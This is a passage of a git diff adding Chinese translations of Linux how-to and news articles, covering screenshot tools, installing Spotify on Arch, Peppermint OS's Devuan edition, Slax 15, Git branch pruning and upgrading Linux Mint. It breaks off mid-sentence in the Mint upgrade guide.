https://news.itsfoss.com/wp-content/uploads/2022/08/gnome-secure-boot-mockup.png +[5]: https://blogs.gnome.org/hughsie/2022/07/29/emulated-host-profiles-in-fwupd/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/08/boot-security.png +[7]: https://gitlab.freedesktop.org/plymouth/plymouth/-/merge_requests/176 +[8]: https://news.itsfoss.com/wp-content/uploads/2022/07/secure-boot-gnome.png +[9]: https://news.itsfoss.com/wp-content/uploads/2022/07/secure-boot-gnome1.png +[10]: https://gitlab.gnome.org/GNOME/gnome-shell/-/merge_requests/2333 diff --git a/published/202208/20220804 3 ways to take screenshots on Linux.md b/published/202208/20220804 3 ways to take screenshots on Linux.md new file mode 100644 index 0000000000..d9d3e90ebe --- /dev/null +++ b/published/202208/20220804 3 ways to take screenshots on Linux.md @@ -0,0 +1,74 @@ +[#]: subject: "3 ways to take screenshots on Linux" +[#]: via: "https://opensource.com/article/22/8/screenshots-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14943-1.html" + +在 Linux 上截屏的 3 种方法 +====== + +> 使用我最喜欢的工具在 Linux 上截屏,可以节省时间。 + +![](https://img.linux.net.cn/data/attachment/album/202208/18/172307e5du1dxqd66d66cm.jpg) + +在写开源软件时,我更喜欢展示一些截图来帮助演示我在说什么。古语有云,一图胜千言。如果你能展示一件事,那通常比试图用言语描述它要好。 + +有几种方法可以在 Linux 中截图。以下是我在 Linux 上用于捕获截图的三种方法: + +### 1、GNOME + +GNOME 有一个很棒的内置截图工具。只需按下键盘上的 `PrtScr` 键,GNOME 就会显示一个截图对话框: + +![Image of GNOME screenshot tool][2] + +默认操作是抓取区域的截图。这是一种在你制作截图时裁剪截图的非常有用的方法。只需将高亮显示框移动到你需要的位置,然后使用“抓取”角来更改大小。或选择其他图标之一以截取整个屏幕或系统上的单个窗口。点击“圆圈”图标进行截图,类似于手机上的“拍照”按钮。 GNOME 截图工具将截图保存在图片文件夹内的截图文件夹中。 + +### 2、GIMP + +如果你需要更多截图选项,你可以使用流行的图像编辑器 GIMP 截图。要进行截图,请选择“文件File”并选择“创建Create”子菜单,然后选择“截图Screenshot”。 + +![Image of the GIMP screenshot menu][3] + +该对话框允许你截取单个窗口、整个屏幕或仅一个区域的屏幕截图。我喜欢这个工具可以让你设置一个延迟:选择窗口后多长时间,按下截图后多长时间。当我想截取菜单操作的截图时,我经常使用此功能,因此我有足够的时间去窗口打开菜单。 + +GIMP 将截图作为新图像打开,你可以对其进行编辑并保存到你喜欢的位置。 + +### 3、Firefox + +如果你需要截取网站的截图,请尝试使用 Firefox 的内置截图程序。右键单击网页正文中的任意位置,然后从菜单中选择“截图Take Screenshot”: + +![Image of screenshot utility][4] + +Firefox 切换到模态显示,并提示你单击或拖动页面以选择区域,或使用其中一个图标保存整个页面的副本,或仅在浏览器中可见的内容: + +![Image of Firefox modal display][5] + +当你在屏幕上移动鼠标时,你可能会注意到 Firefox 会高亮显示某些区域。这些是页面上的块元素,例如 `
` 或其他块元素。单击该元素以对其进行截图。 Firefox 将截图保存到你的下载文件夹,或你设置为“下载”位置的任何位置。 + +如果你尝试记录流程,那么截图可以为你节省大量时间。 + +尝试使用其中一种方法在 Linux 上截图。 + +(图片来源:Jim Hall,CC BY-SA 40) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/screenshots-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_web_internet_website.png +[2]: https://opensource.com/sites/default/files/2022-07/screenshot-gnome.png +[3]: https://opensource.com/sites/default/files/2022-07/gimp-screenshot.png +[4]: https://opensource.com/sites/default/files/2022-07/firefox-screenshot_cropped_0.png +[5]: https://opensource.com/sites/default/files/2022-07/firefox-screenshot_1.png diff --git a/published/202208/20220804 Install Spotify on Manjaro and Other Arch Linux Based Distros.md b/published/202208/20220804 Install Spotify on Manjaro and Other Arch Linux Based Distros.md new file mode 100644 index 0000000000..0b00da6dbf --- /dev/null +++ b/published/202208/20220804 Install Spotify on Manjaro and Other Arch Linux Based Distros.md @@ -0,0 +1,161 @@ +[#]: subject: "Install Spotify on Manjaro and Other Arch Linux Based Distros" +[#]: via: "https://itsfoss.com/install-spotify-arch/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14965-1.html" + +在 Manjaro 和其他基于 Arch Linux 的发行版上安装 Spotify +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/25/133643nz8h58cl5ly8y6ly.jpg) + +> Spotify 不需要介绍。它是最流行的音乐流媒体服务。 + +你可以 [在 Web 浏览器中播放 Spotify][1],但如果你经常使用它,使用桌面应用会是一个更好的选择。 + +为什么呢?因为你可以用媒体键控制播放,得到歌曲的通知,而且不需要担心不小心关闭浏览器标签或窗口。桌面客户端给人一种完整的体验。 + +Spotify 为 Ubuntu 和 Debian [提供了一个仓库][2]。但在 Arch Linux 上安装 Spotify 呢? + +实际上,在 Arch Linux 上获得 Spotify 的桌面应用更加简单。只需使用这个命令: + +``` +sudo pacman -Syu spotify-launcher +``` + +这就是在基于 Arch 的 Linux 发行版上安装 Spotify 的众多方法之一,如 Manjaro、[Endeavour OS][3]、[Garuda Linux][4] 等。 + +在本教程中,我将讨论以下安装 Spotify 的方法: + +* 使用 [pacman][5](你已经在上面看到了,但我们会更深入地挖掘)。 +* 使用 [Pamac][6](Manjaro的软件包管理器)进行安装 +* 使用 [Flatpak][7](通用打包格式)进行安装 +* 使用 Snap(Spotify 团队的官方包)。 + +### 方法 1:使用 pacman 安装 Spotify + +Spotify 可在 Arch Linux 的社区仓库中 [找到][8]。它实际上是 Spotify 提供的 APT 仓库的 Rust 实现。 + +打开你的终端,按以下方式 [使用 pacman 命令][9]: + +``` +sudo pacman -Syu spotify-launcher +``` + +安装后,从应用菜单中启动它,并登录开始收听。 + +![Spotify on Arch Linux][10] + +输入下面的命令,将其连同其依赖关系和配置文件一起删除。 + +``` +sudo pacman -Rns spotify-launcher +``` + +### 方法 2:使用 Pamac 安装 Spotify + +如果你使用 Manjaro 或者 [在你的系统中安装了 Pamac][11],你可以用它来图形化安装 Spotify。 + +从应用菜单中打开添加/删除软件。点击左上角的搜索图标,搜索 Spotify。然后,选择名为 `spotify-launcher` 的软件包,并点击应用进行安装,如下图所示。 + +![Using Pamac to install Spotify][12] + +你也可以在安装后取消选择该软件包,并点击应用来删除它。 + +#### 使用 Pamac CLI + +是的,Pamac 也有一个命令行界面,你可以通过以下方式使用它来获得 Spotify。 + +``` +pamac install spotify-launcher +``` + +要删除,使用: + +``` +pamac remove spotify-launcher +``` + +### 方法 3:使用 Flatpak 安装 Spotify + +许多用户喜欢使用 Flatpak 安装专有应用,因为它提供了沙盒。 + +在终端输入以下命令来更新你的系统并安装 Flatpak(如果你还没有)。 + +``` +sudo pacman -Syu flatpak +``` + +然后,使用下面的命令启用 [Flathub 仓库][13]。 + +``` +flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo +``` + +现在,通过输入下面的命令安装 Spotify。 + +``` +flatpak install spotify +``` + +要删除 Spotify 的 Flatpak 包,你可以使用下面的命令。 + +``` +flatpak remove spotify +``` + +### 方法 4:使用 Snap 安装 Spotify + +我知道很多人对 Snap 打包格式的“封闭性”非常反感。然而,Spotify 官方提供了一个 Snap 包。你可以从 Spotify 的开发者那里得到它。 + +如果你的系统支持 Snap 包,请使用以下命令: + +``` +sudo snap install spotify +``` + +如果你以后想删除它,使用这个命令: + +``` +sudo snap remove spotify +``` + +### 总结 + +第一个方法中讨论的 Arch 包是由 [kpcyrd][14] 开发和维护的。你可以在 [这里][15] 查看源代码。 + +如果你喜欢 Arch Linux 并想支持它,请考虑向该项目捐款。所有的工作都是由社区成员完成的,他们是无偿的志愿者。 + +如果你在 Arch 上安装 Spotify 有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-spotify-arch/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://open.spotify.com/ +[2]: https://www.spotify.com/us/download/linux/ +[3]: https://endeavouros.com/ +[4]: https://garudalinux.org/ +[5]: https://wiki.archlinux.org/title/Pacman +[6]: https://wiki.manjaro.org/index.php/Pamac +[7]: https://itsfoss.com/what-is-flatpak/ +[8]: https://archlinux.org/packages/community/x86_64/spotify-launcher/ +[9]: https://itsfoss.com/pacman-command/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/spotify-e1658764973807.png +[11]: https://itsfoss.com/install-pamac-arch-linux/ +[12]: https://itsfoss.com/wp-content/uploads/2022/07/pamac-spotify-e1658764946532.png +[13]: https://flathub.org +[14]: https://github.com/kpcyrd +[15]: https://github.com/kpcyrd/spotify-launcher diff --git a/published/202208/20220804 Peppermint OS Now Also Offers a Systemd-free Devuan Variant!.md b/published/202208/20220804 Peppermint OS Now Also Offers a Systemd-free Devuan Variant!.md new file mode 100644 index 0000000000..15704a4724 --- /dev/null +++ b/published/202208/20220804 Peppermint OS Now Also Offers a Systemd-free Devuan Variant!.md @@ -0,0 +1,74 @@ +[#]: subject: "Peppermint OS Now Also Offers a Systemd-free Devuan Variant!" +[#]: via: "https://news.itsfoss.com/peppermint-os-devuan/" +[#]: author: "Sagar Sharma https://news.itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14906-1.html" + +Peppermint OS 现在也提供无 systemd 的 Devuan 变体了! +====== + +> 基于 Devuan 的 Peppermint OS 可能是无 systemd 发行版中一个令人振奋的新成员。听起来不错吧? + +![peppermint][1] + +作为 [最轻量级和最灵活的 Linux 发行版之一][2],Peppermint OS 现在提供一个基于 Devuan 的 ISO,可以让高级用户对他们的系统有更多的控制。 + +随着他们发布了 Peppermint OS 11,[他们放弃使用 Ubuntu][3] 作为基础,而使用 Debian,使 Peppermint OS 更加稳定和可靠。 + +### 基于 Devuan 的 Peppermint OS + +![Peppermint OS devuan][4] + +那么,首先 Devuan 是什么? + +Devuan 是 Debian 的一个分叉,没有 systemd,所以用户可以拥有移植性和选择的自由。 + +是否使用 systemd 经常发生争论,这就是为什么我们有一个 [无 systemd 的 Linux 发行版][5] 的列表,但只有少数几个可以提供开箱即用的精良体验。 + +现在,基于 Devuan 的 Peppermint OS 版本应该是这个列表中令人振奋的补充。 + +如果你想要一个无 systemd 的发行版,给你的操作系统更多的自由,这应该是一个不错的尝试。 + +别担心,Peppermint OS 的 Debian 版将会继续存在。所以,你可以期待基于 Devuan 和基于 Debian 的 ISO 都可以使用。 + +### 你需要无 systemd 发行版吗? + +systemd 是一个初始化系统。当你启动你的 Linux 机器时,初始化系统是最先启动的程序之一,并将一直运行到你使用电脑为止。 + +但 [systemd 不仅仅是一个初始系统][6],它还包含其他软件,如 logind、networkd 等,用于管理 Linux 系统的不同方面。 + +总的来说,它演变成了一个复杂的初始模块。虽然它使许多事情变得简单,但在一些用户看来,它是一个臃肿的解决方案。 + +因此,有用户开始喜欢 Devuan 这样的选项。而且,Peppermint OS 的开发者现在正试图通过使用 Devuan 作为另一个版本的基础,来改善桌面用户的体验。 + +### 下载基于 Devuan 的 Peppermint OS + +对于习惯于无 systemd 的用户来说,这是一个很好的选择。 + +但是,如果你从来没有尝试过无 systemd 的发行版,除非你知道自己在做什么,否则进行切换可能不是一个明智的主意。 + +> **[Peppermint OS (Devuan)][7]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/peppermint-os-devuan/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/08/peppermint-devuan.jpg +[2]: https://itsfoss.com/lightweight-linux-beginners/ +[3]: https://news.itsfoss.com/peppermint-11-release/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/08/Peppermint-OS-Devuan-edition.png +[5]: https://itsfoss.com/systemd-free-distros/#systemd-or-not +[6]: https://freedesktop.org/wiki/Software/systemd/ +[7]: https://peppermintos.com/2022/08/peppermint-os-releases-for-08-02-2022/ diff --git a/published/202208/20220804 Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release.md b/published/202208/20220804 Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release.md new file mode 100644 index 0000000000..491d1d0b2c --- /dev/null +++ b/published/202208/20220804 Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release.md @@ -0,0 +1,72 @@ +[#]: subject: "Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release" +[#]: via: "https://news.itsfoss.com/slax-15-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14900-1.html" + +Slax Linux 的 Slackware 变体重新复活 +====== + +> 基于 Slackware 的 Slax 版本在 Slackware 15.0 的基础上进行了升级,并带来一些基本的改进。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/08/slax-15.jpg) + +Slax 是最有趣的 [轻量级 Linux 发行版][1] 之一。 + +它是基于 Slackware 的,是 32 位系统的一个合适选择。如果你尚不知道,Slackware 是最古老的、活跃的 Linux 发行版,并在 6 年后见证了一次重大版本升级,即 [Slackware 15][2] 的发布。 + +此外,Slax 还提供了一个基于 Debian 的替代版本,该版本正在积极维护。正如创作者在博文中提到的,这是由于基于 Slackware 的版本(Slax 14)在很长一段时间内(9 年)没有得到更新。 + +因此,看到最终以 **Slax 15.0** 的形式发布了重大升级版本,以及也对其 Debian 版本(即 **Slax 11.4.0**)进行小幅更新,还是令人感动。 + +有趣的是,这个版本早在 2022 年 7 月就向其支持者提供了。而现在,所有人都可以下载和试用了。 + +让我来介绍一下新的变化。 + +### Slax 15.0 和 Slax 11.4 发布 + +为了解决关键的升级问题,Slax 15.0 带来了 Slackware 15.0 中添加的改进。 + +这应该包括增加了 [Linux 内核 5.15 LTS][3],即增强的 NTFS 驱动支持,以及对英特尔/AMD 处理器的支持改进。你可以看看这个内核变体,提供了更多内置驱动程序,或者了解一下节省内存和启动时警告的通用选项。 + +该个发布版本通过插件支持 slackpkg,这意味着你可以从各种软件库中安装软件,包括官方的 Slackware 仓库和 SlackOnly 仓库。 + +Slax 15.0 还涉及到一个更新的关机程序,对设备的卸载处理更加完善。 + +考虑到 Slax 不再是一个基于 KDE 的发行版。因此,当你下载 Slackware 或 Debian 版本的 ISO 时,你得到的是一个基于 Fluxbox 的版本。 + +而对于 Debian 版本,你会发现它的更新是基于 **Debian 11.4** “Bullseye” 的。 + +### 下载 Slax 15.0 和 Slax 11.4 + +你无法找到基于 Slackware 的版本的 32 位版本,而只能找到基于 Debian 的。 + +其 ISO 文件可以在其官方网站上下载。如果你想以某种方式支持该项目,也可以选择购买。 + +> **[Slax 15.0][4]** + +无论哪种情况,你都可以前往其 [Patreon 页面][5] 以示支持。 + +你对 Slax 15.0 的发布有什么看法?你试过了吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/slax-15-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/lightweight-linux-beginners/ +[2]: https://news.itsfoss.com/slackware-15-release/ +[3]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[4]: https://www.slax.org/ +[5]: https://patreon.com/slax/ diff --git a/published/202208/20220805 Delete the local reference to a remote branch in Git.md b/published/202208/20220805 Delete the local reference to a remote branch in Git.md new file mode 100644 index 0000000000..afa9dc3749 --- /dev/null +++ b/published/202208/20220805 Delete the local reference to a remote branch in Git.md @@ -0,0 +1,98 @@ +[#]: subject: "Delete the local reference to a remote branch in Git" +[#]: via: "https://opensource.com/article/22/8/delete-local-reference-remote-branch-git" +[#]: author: "Agil Antony https://opensource.com/users/agantony" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14919-1.html" + +删除 Git 远程分支的本地引用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/11/150612dv5diwgve5k2cobk.jpg) + +> 遵循几个简单的步骤来保持 Git 仓库的整洁 + +在合并一个 GibLab 的合并请求(MR)或 GitHub 的拉取请求(PR)后,你通常需要从远程仓库中删掉这个主题分支来保持仓库的整洁。然而,这只会删掉远程仓库的主题分支。本地 Git 仓库也会从例行清理中收益。 + +要同步本地仓库和远程仓库的信息,可以执行 `git prune` 命令来删除本地仓库中远程分支的本地引用。 + +按照以下三个简单的步骤: + +1、检出仓库中的核心分支(比如 `main` 或者 `master`): + +``` +$ git checkout +``` + +2、列出所有远程和本地分支: + +``` +$ git branch -a +``` + +示例输出: + +``` +4.10.z +* master +  remotes/mydata/4.9-stage +  remotes/mydata/4.9.z +  remotes/mydata/test-branch +``` + +在这个例子中,`test-branch` 是从远程仓库中删除的主题分支的名字。 + +3、删除远程分支的本地引用: + +首先,列出所有可以从本地仓库中删除的分支: + +``` +$ git remote prune origin --dry-run +``` + +示例输出: + +``` +Pruning origin +URL: git@example.com:myorg/mydata-4.10.git +* [would prune] origin/test-branch +``` + +然后,删除远程分支的本地引用: + +``` +$ git remote prune origin +``` + +示例输出: + +``` +Pruning origin +URL: git@example.com:myorg/mydata-4.10.git +* [pruned] origin/test-branch +``` + +就是这样! + +### 维护 Git 仓库 + +保持 Git 仓库的整洁,一开始似乎并不紧急,但是随着仓库规模的增长,删除不必要的数据就变得更为重要。不要让从无用的数据筛选而拖慢你。 + +经常删除远程分支的本地引用,是维护一个可用的 Git 仓库是一个好方法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/delete-local-reference-remote-branch-git + +作者:[Agil Antony][a] +选题:[lkxed][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/agantony +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/freesoftwareway_law3.png diff --git a/published/202208/20220807 How to Upgrade to Linux Mint 21 [Step by Step Tutorial].md b/published/202208/20220807 How to Upgrade to Linux Mint 21 [Step by Step Tutorial].md new file mode 100644 index 0000000000..0ebaeca551 --- /dev/null +++ b/published/202208/20220807 How to Upgrade to Linux Mint 21 [Step by Step Tutorial].md @@ -0,0 +1,410 @@ +[#]: subject: "How to Upgrade to Linux Mint 21 [Step by Step Tutorial]" +[#]: via: "https://itsfoss.com/upgrade-linux-mint-version/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14975-1.html" + +图解如何升级到 Linux Mint 21 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/28/172913lzqsmfll8snzblbs.jpg) + +> 这是一个周期性的更新指南,主要用于将现有的 Linux Mint 升级安装到一个新的可用版本。 + +在这篇文章中有三个部分,分别向你展示 Linux Mint 的不同的主要版本之间的升级步骤: + +* 第 1 部分是关于从 Linux Mint 20.3 升级到 Linux Mint 21(GUI 升级工具) +* 第 2 部分是关于从 Linux Mint 19.3 升级到 Linux Mint 20(基于命令行的升级程序) +* 第 3 部分是关于从 Linux Mint 18.3 升级到 Linux Mint 19(假设一些人仍然在使用它) + +你可以依据你的当前的 Linux Mint 版本和需要来执行适当的步骤。 + +这是一个周期性的更新指南,主要用于将现有的 Linux Mint 升级安装到一个新的可用版本。 + +这篇指南已经更新,追加从 Mint 20.3 升级到 Linux Mint 21 的步骤。Linux Mint 现在有一个 GUI 工具来升级到最新的版本。 + +### 在你升级到 Linux Mint 21 之前需要知道的事情 + +在你继续升级到 Linux Mint 21 之前,你应该考虑下面的事情: + +* 你真的需要升级吗?Linux Mint 20.x 还有好几年的支持期限。 +* 你将需要高速互联网连接来下载大约 14 GB 的升级数据。 +* 它可能将花费几个小时的时间来完成升级过程,当然这主要取决于你的互联网速度。你必须有耐心。 +* 制作一个 Linux Mint 21 的 实况 USBLive USB 并在一次实况会话Live session 中尝试它是否与你的硬件系统兼容会是一个好主意。较新的内核可能与较旧的硬件系统有兼容性问题,因此在真正升级或安装之前来对其进行测试可能会为你省去很多麻烦。 +* 全新的安装总是比主要版本升级的更好,但是从零开始安装 Linux Mint 21 可能意味着丢失你的现有的数据。你必须在外部的外部磁盘上进行备份。 +* 尽管大部分的升级是安全的,但是它也不会是 100% 的成功。你必须要有系统快照和真正的备份。 +* 你只能从 Linux Mint 20.3 的 Cinnamon 、Xfce 和 MATE 版本升级到 Linux Mint 21 。首先 [检查你的 Linux Mint 版本][1] 。如果你正在使用 Linux Mint 20.2 或 20.1 ,你需要先使用更新管理器来升级到 20.3 。如果你正在使用 Linux Mint 19 ,我建议你选择进行一次的全新安装,而不是选择进行数次的升级 Mint 版本。 + +在你知道你将要做什么后,让我们看看如何升级到 Linux Mint 21 。 + +### 从 Linux Mint 20.3 升级到 Linux Mint 21 + +检查你的 Linux Mint 版本,并确保你正在使用 Mint 20.3 。你不能从 Linux Mint 20.1 或 20.2 升级到 Linux Mint 21 。 + +#### 步骤 1: 通过安装任意可用的更新来更新你的系统 + +使用 菜单Menu -> 系统管理Administration -> 更新管理器Update Manager 来启动更新管理器。查看是否有一些可用的软件包更新。如果有可用的更新,先安装所有的软件包更新。 + +![Check for Pending Software Updates][2] + +针对这一步骤,你也可用在终端中使用这一个命令: + +``` +sudo apt update && sudo apt upgrade -y +``` + +#### 步骤 2: 在外部的磁盘上备份你的文件 [可选,但是建议] + +Timeshift 是一个创建系统快照的好工具,但它却不是一个针对文档、图片和其它那些非系统的、个人文件的理想工具。我建议你在一块外部磁盘上进行备份。它只是为了数据安全。 + +当我说在一块外部磁盘上进行一次备份时,我的意思是将你的图片、文档、下载和视频目录简单地复制和粘贴到一块外部的 USB 磁盘上。 + +如果你没有那样大的磁盘,至少复制那些你不可丢失的最重要的文件。 + +#### 步骤 3: 安装升级工具 + +现在,你的系统已经更新,你已经准备好升级到 Linux Mint 21 。Linux Mint 开发组提供一个名称为 [mintupgrade][3] 的 GUI 工具,用于从 Linux Mint 20.3 升级到 Linux Mint 21 。 + +你可用使用下面的命令来安装这个工具: + +``` +sudo apt install mintupgrade +``` + +#### 步骤 4: 从终端中运行这个 GUI 工具 + +你不能在应用程序菜单列表中找到这个新的 GUI 工具。为启动它,你需要在终端中输入下面的命令: + +``` +sudo mintupgrade +``` + +这个简单且全面工具将带领你完成升级过程。 + +![Mint Upgrade Tool Home Page][4] + +在一些初始化的测试后,它将提示进行一次 Timeshift 备份。如果你已经创建了一次备份,你已经准备好下一步了。 + +![Upgrade Tool Prompting No Timeshift Snapshots][5] + +否则,你需要在这里 [创建一个备份][6] ,因为这是强制继续的。 + +![Taking Snapshot With Timeshift][7] + +一些 PPA 可能已经适用于 Ubuntu 22.04 ,因此也适用于 Mint 21 。但是,如果 PPA 或存储库不适用于新的版本,它可能会因为依赖关系的打断而影响升级过程。在升级工具中也会同样的提示你。 + +![Kazam PPA Does Not Support Jammy][8] + +在这里,我将通过 Kazam 其 PPA 来使用其 [最新版本][9] 。其 PPA 仅被支持到 Impish ,因为 Linux Mint 21 是基于 Jammy 的,所以它会显示错误。 + +你可以在升级工具中通过软件源来指定禁用 PPA 的选项。 + +![Disable Unsupported PPAs in Software Sources][10] + +在禁用该 PPA 后,该软件包会变成 “陌生的foreign”,因为来自存储库中可用版本会与来自 Mnit 存储库中可用版本不匹配。因此,你需要将软件包降级到存储库中一个可用的版本。 + +![Downgrade Package to Avoid Conflicts][11] + +升级工具现在列出需要执行更改。 + +![List Changes That Need to be Done][12] + +在接受后,该工具将开始下载软件包。 + +![Phase 2 – Simulation and Package Download][13] + +![Package Downloading][14] + +![Upgrading Phase][15] + +它将列出孤立的软件包,这可以被移除。你可以通过按下 修复Fix 按钮来移除整个建议的软件包,也可以保留某些软件包。 + +#### 保留某些孤立的软件包 + +为保留来自孤立的软件包列表中软件包,你需要从左上角的汉堡菜单转到 首选项Preferences。 + +![Selecting Orphan Packages You Want to Keep with Preferences][16] + +在首选项对话框中,你需要转到 “孤立的软件包Orphan Packages” 并使用 “+” 符号来通过名称添加软件包。 + +![Specify Name of the Package to Keep][17] + +在完成后,它将继续升级,在一段时间后,将会向你提示一条成功更新的通知。 + +![Upgrade Successful][18] + +此时,你需要重新启动你的系统。在重新启动后,你将进入到新的 Linux Mint 21 。 + +![Neofetch Output Linux Mint 21][19] + +### 如何升级到 Linux Mint 20 + +在你继续升级到 Linux Mint 20 之前,你应该考虑下面的事情: + +* 你真的需要升级吗?Linux Mint 19.x 将会支持到 2023 年。 +* 如果你 [有一款 32 位系统][20],你不能安装或升级到 Mint 20 。 +* 你将需要高速互联网连接来下载大约 1.4 GB 的升级。 +* 它可能将花费几个小时的时间来完成升级过程,当然这主要取决于你的互联网速度。你必须有耐心。 +* 制作一个 Linux Mint 20 的 实况 USBLive USB 并在一次实况会话中查看它是否与你的硬件系统兼容会是一个好主意。较新的内核可能与较旧的硬件系统有兼容性问题,因此在真正升级或安装之前来对其进行测试可能会为你省去很多麻烦。 +* 全新的安装总是比主要版本升级的更好,但是从零开始 [安装 Linux Mint][21] 20 可能意味着丢失你的现有的数据。你必须在外部的外部磁盘上进行备份。 +* 尽管大部分的升级是安全的,但是它也不会是 100% 的成功。你必须要有系统快照和真正的备份。 +* 你只能从 Linux Mint 19.3 的 Cinnamon 、Xfce 和 MATE 版本升级到 Linux Mint 20 。首先 [检查你的 Linux Mint 版本][22] 。如果你正在使用 Linux Mint 19.2 或 19.1 ,你需要先使用更新管理器来升级到 19.3 。如果你正在使用 Linux Mint 18 ,我建议你选择进行一次的全新安装,而不是选择进行数次的升级 Mint 版本。 +* 升级过程是通过命令行实用程序来完成的。如果你不喜欢使用终端和命令,不要升级,并进行一次全新的安装。 + +在你知道你将要做什么后,让我们看看如何升级到 Linux Mint 20 。 + +#### 步骤 1: 确保你有一款 64 位系统 + +Linux Mint 20 是一款仅提供 64 位的操作系统。如果你安装了一款 32 位的 Linux Mint 19 ,你不能升级到 Linux Mint 20 。 + +在一个终端中,使用下面的命令来查看你是否正在使用 64 位操作系统。 + +``` +dpkg --print-architecture +``` + +![Mint 20 Upgrade Check Architecture][25] + +#### 步骤 2: 通过安装一些可用的更新来更新你的系统 + +使用 菜单Menu -> 系统管理Administration -> 更新管理器Update Manager 来启动更新管理器。查看是否有一些可用的软件包更新。如果有可用的更新,先安装所有的软件包更新。 + +![Check for pending software updates][26] + +针对这一步骤,你也可用在终端中使用这一个命令: + +``` +sudo apt update && sudo apt upgrade -y +``` + +#### 步骤 3: 使用 Timeshift 创建一个系统快照 [可选,但是建议] + +如果你遇到升级过程中断或你遇到其它的一些重大问题,[使用 Timeshift 创建一个系统快照][27] 将会解救你于水火之中。**你甚至可以使用这种方法恢复到 Mint 19.3 。** + +假设你因为意外断电导致升级失败,或因为其它一些原因,你最终得到一个残缺的不稳定的 Linux Mint 19 。你可以插入一个 Linux Mint 实况 USB ,并从该实况环境中运行 Timeshift 。它将会自动地定位你的备份位置,并将允许你恢复你残缺的 Mint 19 系统。 + +这也意味着你应该随时携带一个 Linux Mint 19 实况 USB ,以防在极少数升级失败的情况下,你不能用一台工作的计算机创建 Linux Mint 实况 USB 。 + +![Create a system snapshot in Linux Mint][28] + +#### 步骤 4: 在一块外部的磁盘上备份你的文件 [可选,但是建议] + +Timeshift 是一个创建系统快照的好工具,但它却不是一个针对文档、图片和其它那些非系统、个人文件的理想工具。我建议你在一块外部磁盘上进行备份。它只是为了数据安全。 + +当我说在一块外部磁盘上进行一次备份时,我的意思是将你的图片、文档、下载和视频目录简单地复制和粘贴到一块外部的 USB 磁盘上。 + +如果你没有那样大的磁盘,至少复制那些你不可丢失的最重要的文件。 + +#### 步骤 5: 禁用 PPA 和第三方存储库 [可选,但是建议] + +不出意外的话,你可能已经使用一些 [PPA][29] 或其它的存储库来安装了一下应用程序。 + +一些 PPA 可能已经适用于 Ubuntu 20.04 ,因此也适用于 Mint 20 。但是,如果 PPA 或存储库不适用于新的版本,它可能会因为依赖关系的打断而影响升级过程。 + +对此,建议你禁用 PPA 和第三方存储库。你也可以删除通过这样的外部源安装的应用程序,如果你这样做的话,不会导致配置数据的丢失。 + +在 